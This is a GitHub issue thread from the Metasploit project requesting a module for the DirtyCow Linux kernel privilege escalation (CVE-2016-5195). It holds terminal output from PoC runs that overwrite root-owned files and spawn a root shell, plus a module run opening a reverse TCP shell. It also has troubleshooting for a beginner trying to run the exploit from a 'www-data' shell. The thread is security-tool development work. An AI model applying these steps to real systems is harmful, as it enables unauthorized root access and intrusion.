Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Module Request: Linux Local CVE-2016-5195 (dirtycow) #7467

Closed
jvoisin opened this issue Oct 21, 2016 · 22 comments
Closed

Module Request: Linux Local CVE-2016-5195 (dirtycow) #7467

jvoisin opened this issue Oct 21, 2016 · 22 comments
Labels
feature module suggestion Suggestions for new functionality

Comments

@jvoisin
Copy link
Contributor

jvoisin commented Oct 21, 2016

CVE-2016-5195 (aka DirtyCow) is an interesting privesc, with a PoC available.

dirtycow logo

The interesting part is that the exploit is super-reliable, and bypasses everything: grsecurity, selinux, smack, … and it affects kernels since 2.6.22

@nixawk
Copy link
Contributor

nixawk commented Oct 21, 2016

sec@lab:~/CVE-2016-5195-dirtycow$ cat /etc/issue
Ubuntu 14.04.4 LTS \n \l


sec@lab:~/CVE-2016-5195-dirtycow$ sudo -s
[sudo] password for sec: 
root@lab:~/CVE-2016-5195-dirtycow# echo "Hello CVE-2016-5195" > foo
root@lab:~/CVE-2016-5195-dirtycow# chmod 0404 foo
root@lab:~/CVE-2016-5195-dirtycow# exit
exit
sec@lab:~/CVE-2016-5195-dirtycow$ cat foo 
Hello CVE-2016-5195
sec@lab:~/CVE-2016-5195-dirtycow$ gcc -pthread dirtyc0w.c -o dirtyc0w
sec@lab:~/CVE-2016-5195-dirtycow$ ./dirtyc0w foo hi....
mmap 0x7f8029168000

madvise 0

procselfmem 600000000

sec@lab:~/CVE-2016-5195-dirtycow$ cat foo
hi....CVE-2016-5195

@h00die
Copy link
Contributor

h00die commented Oct 21, 2016

I got a pentest right now, and am working on the ipv6_tables priv esc, up for grabs!

@anantshri
Copy link
Contributor

just a note for whosoever tries this out. the action is limited to the size of the file. so your overwriting payload should be within the size of the existing file.

vagrant@wheezy-amd64:~# ls -l /home/vagrant/rootown
-rw-r--r-- 1 root root 4 Oct 21 07:51 /home/vagrant/rootown

vagrant@wheezy-amd64:~$ cat rootown
CALLvagrant@wheezy-amd64:~$ ./test /home/vagrant/rootown "MEMINE"
mmap d0dad000

madvise 0

procselfmem 600000000

vagrant@wheezy-amd64:~$ cat rootown
MEMIvagrant@wheezy-amd64:~$

Not sure if its critical info but something where i wasted some time. don't want another person to waste time on that issue.

@wvu wvu self-assigned this Oct 21, 2016
@sempervictus
Copy link
Contributor

If nobody else has time today, i can port it this evening. Currently trying to divine cleanup approach:
Thinking we read original contents into memory, write payload + NOP buffer to original size into the CoW mapping, exec the resulting bin, then write back the original memory contents into the payload+buffer sized file (since we cant write more than the filesize and need to stuff the original contents back).

@wvu
Copy link
Contributor

wvu commented Oct 21, 2016

fuck@ubuntu:~$ ./cowroot 
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 51224
Racing, this may take a while..
thread stopped
thread stopped
/usr/bin/passwd overwritten
Popping root shell.
Don't forget to restore /tmp/bak
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@ubuntu:/home/fuck# 

@wvu wvu removed their assignment Oct 21, 2016
@nixawk
Copy link
Contributor

nixawk commented Oct 22, 2016

I've created a demo for DirtyCow privilege escalation, but it need more tests.

msf exploit(dirtycow) > show options

Module options (exploit/linux/local/dirtycow):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SESSION      6                yes       The session to run this module on.
   WritableDir  /tmp             yes       A directory where we can write files (must not be mounted noexec)


Payload options (linux/x64/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.101    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux x64


msf exploit(dirtycow) > set SESSION 7
SESSION => 7
msf exploit(dirtycow) > run

[*] Started reverse TCP handler on 192.168.1.101:4444
[*] Compiling /tmp/QSjHhucDLS.c via gcc
[*] Starting the payload handler...
[*] Executing at 2016-10-22 07:50:28 -0500.  May take up to 10min for callback
[*] Command shell session 8 opened (192.168.1.101:4444 -> 192.168.1.100:46051) at 2016-10-22 07:50:29 -0500

@h00die
Copy link
Contributor

h00die commented Oct 22, 2016

I see no PRs :(
Who writes a linux local module that uses gcc to compile live on target?! This is crazy talk #sarcasm

@nixawk
Copy link
Contributor

nixawk commented Oct 22, 2016

@jvoisin @wvu-r7 @sempervictus @anantshri @h00die CVE-2016-5195 - DirtyCow privilege escalation.

  • OS will be down when the root session is gained.

@kthemis
Copy link

kthemis commented Oct 23, 2016

therer is always an error"Exploit failed: Msf::OptionValidateError The following options failed to validate: SESSION."
default

@h00die h00die changed the title Module Request: Linux Local CVE-2016-5195 Module Request: Linux Local CVE-2016-5195 (dirtycow) Oct 23, 2016
@pbarry-r7
Copy link
Contributor

pbarry-r7 commented Oct 23, 2016

@kthemis, did you have a valid session before attempting to use dirtycow? You'll need to have a working session on the target before attempting to escalate privilege, and set the module's SESSION option value to that working session number.

@kthemis
Copy link

kthemis commented Oct 23, 2016

@pbarry-r7 Is there any way to get the session ID?

@wvu
Copy link
Contributor

wvu commented Oct 23, 2016

@kthemis: Seems like you don't have a shell. Get one.

@kthemis
Copy link

kthemis commented Oct 23, 2016

@pbarry-r7 If I have a "www-data" shell,what's next?

@pbarry-r7
Copy link
Contributor

pbarry-r7 commented Oct 23, 2016

@kthemis, the msfconsole sessions command will show what active sessions (and their associated numbers) there are.

@kthemis
Copy link

kthemis commented Oct 23, 2016

Oh,pretty good.But there was a new error~~
”[!] This exploit may require manual cleanup of '/tmp/xRROLBfdwS' on the target
[!] This exploit may require manual cleanup of '/tmp/xRROLBfdwS.out' on the target“ @pbarry-r7

@wvu
Copy link
Contributor

wvu commented Oct 23, 2016

@kthemis: See if those files still exist. If they do, delete them. Looks like FileDropper is failing for any number of potential reasons. (Yes, it's that finicky.)

@kthemis
Copy link

kthemis commented Oct 23, 2016

There is just only one C file in the targert directory. @wvu-r7

@wvu
Copy link
Contributor

wvu commented Oct 23, 2016

@kthemis: Maybe you don't have GCC. ¯_(ツ)_/¯

@kthemis
Copy link

kthemis commented Oct 23, 2016

Thanks a lot ,I'm just a beginner:).But now I hvae an another error:"Exploit failed: Rex::TimeoutError Operation timed out" @wvu-r7

@wvu
Copy link
Contributor

wvu commented Oct 23, 2016

@kthemis: Is your session still up?

@kthemis
Copy link

kthemis commented Oct 24, 2016

Yes,my session is still up.But when a new session created,I can't get a meterpreter shell.
It also can find that the target machine has been down. @wvu-r7

@kthemis
Copy link

kthemis commented Oct 25, 2016

I have tried to use the latest dirtycow.rb,but there is still a error:
x
And then,the target machine is dead!!!!!!!!!

@wvu wvu closed this as completed Mar 29, 2017
@bcoles bcoles added the suggestion Suggestions for new functionality label Dec 27, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
feature module suggestion Suggestions for new functionality
Projects
None yet
Development

No branches or pull requests

9 participants